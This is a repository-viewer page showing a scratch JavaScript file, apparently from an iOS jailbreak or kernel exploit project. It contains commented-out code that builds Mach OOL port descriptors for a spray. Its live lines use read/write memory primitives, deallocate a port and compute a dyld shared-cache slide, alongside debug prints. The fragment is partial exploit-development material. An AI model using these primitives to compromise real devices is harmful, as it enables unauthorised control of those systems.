summaryrefslogtreecommitdiff
path: root/work/shit.js
blob: 4a84da99dbf72b2af6ea15f633771c109677a394 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

	
//	new_buf_.push(tmp[0]);
//	new_buf_.push(tmp[1]);
//	new_buf_.push(tmp[2]);
//	new_buf_.push(tmp[3]);
//	tmp = u32_to_u8x4(num);
//	new_buf_.push(tmp[0]);
//	new_buf_.push(tmp[1]);
//	new_buf_.push(tmp[2]);
//	new_buf_.push(tmp[3]);
//	new_buf_.push(0);
//	new_buf_.push(0);
//	new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR);
//	new_buf_.push(19);

//	printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]);

//	var new_buf = fast_array_mul(new_buf_, number_port_descs);

	/*
	for (var i = 0; i < number_port_descs; i++) {
		write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set);
		write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num);
		write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0);
		write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19);
		write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR);
	}*/

//	var tmp = u32_to_u8x4(init_port_set);
printf("still alive? %x\n", 420);
printf("still still alive?\n");
printf("yolo\n");
printf("%x\n", o);

mach_port_deallocate(self, read_u32(data));
write_u32(data, MACH_PORT_NULL);
printf("%x %x\n", master, read_u32(master));
printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide()));
printf("still alive? %x %x\n", err, read_u32(err));
printf("still alive? %x %x\n", err, read_u32(err));